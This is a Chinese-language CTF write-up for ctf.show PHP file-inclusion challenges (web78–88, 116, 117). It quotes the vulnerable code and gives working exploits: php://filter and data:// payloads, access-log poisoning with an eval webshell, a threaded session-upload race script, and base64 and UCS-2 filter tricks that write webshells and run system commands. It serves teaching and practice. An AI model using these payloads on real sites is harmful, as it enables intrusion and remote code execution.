前言:看题 web78:
? ? if(isset($_GET['file'])){ ? ? ? ? $file = $_GET['file']; ? ? ? ? include($file); ? ? }else{ ? ? ? ? highlight_file(__FILE__); ? ? } 发现include是文件包含没错了,伪协议读取出来就可以了
? ? exp:?file=php://filter/convert.base64-encode/resource=flag.php web79:
? ? if(isset($_GET['file'])){ ? ? ? ? $file = $_GET['file']; ? ? ? ? $file = str_replace("php", "???", $file); ? ? ? ? include($file); ? ? } php替换了???,大小绕过,使用php://input exp:get:?file=Php://input ?post:<?php system("tac flag.php");?>
web80:
? ? if(isset($_GET['file'])){ ? ? ? ? $file = $_GET['file']; ? ? ? ? $file = str_replace("php", "???", $file); ? ? ? ? $file = str_replace("data", "???", $file); ? ? ? ? include($file); ? ? } 过滤了data,继续使用上题的exp即可
web81: 在上题的基础上又把:过滤了。这里使用日志包含来发包 exp:
? ? import requests ? ?? ? ? url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log" ? ? headers = { ? ? ? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' ? ? } ? ? data = { ? ? ? ? 'dotast': 'system("cat fl0g.php");' ? ? } ? ? req = requests.get(url=url, headers=headers) ? ? result = requests.post(url=url, data=data) ? ? print(result.text) web82:
? ? if(isset($_GET['file'])){? ? ? ? ? $file = $_GET['file'];? ? ? ? ? $file = str_replace("php", "???", $file);? ? ? ? ? $file = str_replace("data", "???", $file);? ? ? ? ? $file = str_replace(":", "???", $file);? ? ? ? ? $file = str_replace(".", "???", $file);? ? ? ? ? include($file);? ? ? }else{? ? ? ? ? highlight_file(__FILE__);? ? ? } 这题又把.给过滤了使用日志文件包含就没作用了,这里可以使用session文件包含,php5.4之后默认选项: 1.session.upload_progress.enabled = on 2.session.upload_progress.cleanup = on 3.session.upload_progress.prefix = “upload_progress_” 4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_mode=off
**第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容 第三和第四个prefix+name将表示为session中的键名 第五个表示我们对Cookie中sessionID可控 可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成** exp:
? ? import io ? ? import requests ? ? import threading ? ? url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/' ? ?? ? ? def write(session): ? ? ? ? data = { ? ? ? ? ? ? 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast' ? ? ? ? } ? ? ? ? while True: ? ? ? ? ? ? f = io.BytesIO(b'a' * 1024 * 10) ? ? ? ? ? ? response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) ? ? def read(session): ? ? ? ? while True: ? ? ? ? ? ? response = session.get(url+'?file=/tmp/sess_flag') ? ? ? ? ? ? if 'dotast' in response.text: ? ? ? ? ? ? ? ? print(response.text) ? ? ? ? ? ? ? ? break ? ? ? ? ? ? else: ? ? ? ? ? ? ? ? print('retry') ? ?? ? ? if __name__ == '__main__': ? ? ? ? session = requests.session() ? ? ? ? for i in range(30): ? ? ? ? ? ? threading.Thread(target=write, args=(session,)).start() ? ? ? ? for i in range(30): ? ? ? ? ? ? threading.Thread(target=read, args=(session,)).start()
web83-84通用82exp脚本
web85:
? ? if(isset($_GET['file'])){ ? ? ? ? $file = $_GET['file']; ? ? ? ? $file = str_replace("php", "???", $file); ? ? ? ? $file = str_replace("data", "???", $file); ? ? ? ? $file = str_replace(":", "???", $file); ? ? ? ? $file = str_replace(".", "???", $file); ? ? ? ? if(file_exists($file)){ ? ? ? ? ? ? $content = file_get_contents($file); ? ? ? ? ? ? if(strpos($content, "<")>0){ ? ? ? ? ? ? ? ? die("error"); ? ? ? ? ? ? } ? ? ? ? ? ? include($file); ? ? ? ? } ? ? } 加了个die,没啥影响,在上一个脚本的基础多加点线程就可以了 exp:
? ? import io ? ? import requests ? ? import threading ? ? url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/' ? ?? ? ? def write(session): ? ? ? ? data = { ? ? ? ? ? ? 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast' ? ? ? ? } ? ? ? ? while True: ? ? ? ? ? ? f = io.BytesIO(b'a' * 1024 * 10) ? ? ? ? ? ? response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) ? ? def read(session): ? ? ? ? while True: ? ? ? ? ? ? response = session.get(url+'?file=/tmp/sess_flag') ? ? ? ? ? ? if 'dotast' in response.text: ? ? ? ? ? ? ? ? print(response.text) ? ? ? ? ? ? ? ? break ? ? ? ? ? ? else: ? ? ? ? ? ? ? ? print('retry') ? ?? ? ? if __name__ == '__main__': ? ? ? ? session = requests.session() ? ? ? ? for i in range(30): ? ? ? ? ? ? threading.Thread(target=write, args=(session,)).start() ? ? ? ? for i in range(30): ? ? ? ? ? ? threading.Thread(target=read, args=(session,)).start() web86同上exp脚本
web87:
? ? if(isset($_GET['file'])){ ? ? ? ? $file = $_GET['file']; ? ? ? ? $content = $_POST['content']; ? ? ? ? $file = str_replace("php", "???", $file); ? ? ? ? $file = str_replace("data", "???", $file); ? ? ? ? $file = str_replace(":", "???", $file); ? ? ? ? $file = str_replace(".", "???", $file); ? ? ? ? file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); ? ? } 将一句话base64编码,又因为phpdie为6个字符,再+两个字符正好8个,在解码的时候会忽略掉<?php die('大佬别秀了');?> 注意源码有一次解码,所以url加密两次 exp:
? ? import requests ? ?? ? ? url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/" ? ? #经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php ? ? get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30" ? ? get_url = url + "?file=" + get_data ? ? data = { ? ? ? ? 'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==' ? ? } ? ? res = requests.post(url=get_url, data=data) ? ? shell_url = url + "dotast.php" ? ? test = requests.get(shell_url) ? ? if(test.status_code == 200): ? ? ? ? print("[*]getshell成功") ? ? ? ? shell_data = { ? ? ? ? ? ? 'pass': 'system("cat fl0g.php");' ? ? ? ? } ? ? ? ? result = requests.post(url=shell_url, data=shell_data) ? ? ? ? print(result.text)
web88:
? ? if(isset($_GET['file'])){ ? ? ? ? $file = $_GET['file']; ? ? ? ? if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ ? ? ? ? ? ? die("error"); ? ? ? ? } ? ? ? ? include($file); ? ? } 过滤了php,没过滤data,使用data协议进行包含,base64编码一下 exp:
? ? ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4 web116:本地包含漏洞,盲猜下路径,包含flag就可以 exp:/index.php?file=/var/www/html/flag.php
web117:
? ? <?php ? ? highlight_file(__FILE__); ? ? error_reporting(0); ? ? function filter($x){ ? ? ? ? if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ ? ? ? ? ? ? die('too young too simple sometimes naive!'); ? ? ? ? } ? ? } ? ? $file=$_GET['file']; ? ? $contents=$_POST['contents']; ? ? filter($file); ? ? file_put_contents($file, "<?php die();?>".$contents);? 过滤了base64,就不能使用base64编码绕过前面的phpdie了,这里引用了一个新的思路 convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用 iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从in_charset编码转换到$out_charset 这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
? ? $result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>'); ? ? echo "经过一次反转:".$result."\n"; ? ? echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result); ? ?? ? ? //输出结果如下: ? ? //经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>? ? ? //经过第二次反转:<?php @eval($_POST[dotast]);?> 经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行 exp:
? ? import requests ? ?? ? ? url = "http://8a412388-9727-4ea0-8b0d-1f144f2d1a87.chall.ctf.show:8080/" ? ? get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php" ? ? get_url = url + "?file=" + get_data ? ? data = { ? ? ? ? 'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?' ? ? } ? ? res = requests.post(url=get_url, data=data) ? ? shell_url = url + "dotast.php" ? ? test = requests.get(shell_url) ? ? if(test.status_code == 200): ? ? ? ? print("[*]getshell成功") ? ? ? ? shell_data = { ? ? ? ? ? ? 'dotast': 'system("cat flag.php");' ? ? ? ? } ? ? ? ? result = requests.post(url=shell_url, data=shell_data) ? ? ? ? print(result.text) ?
|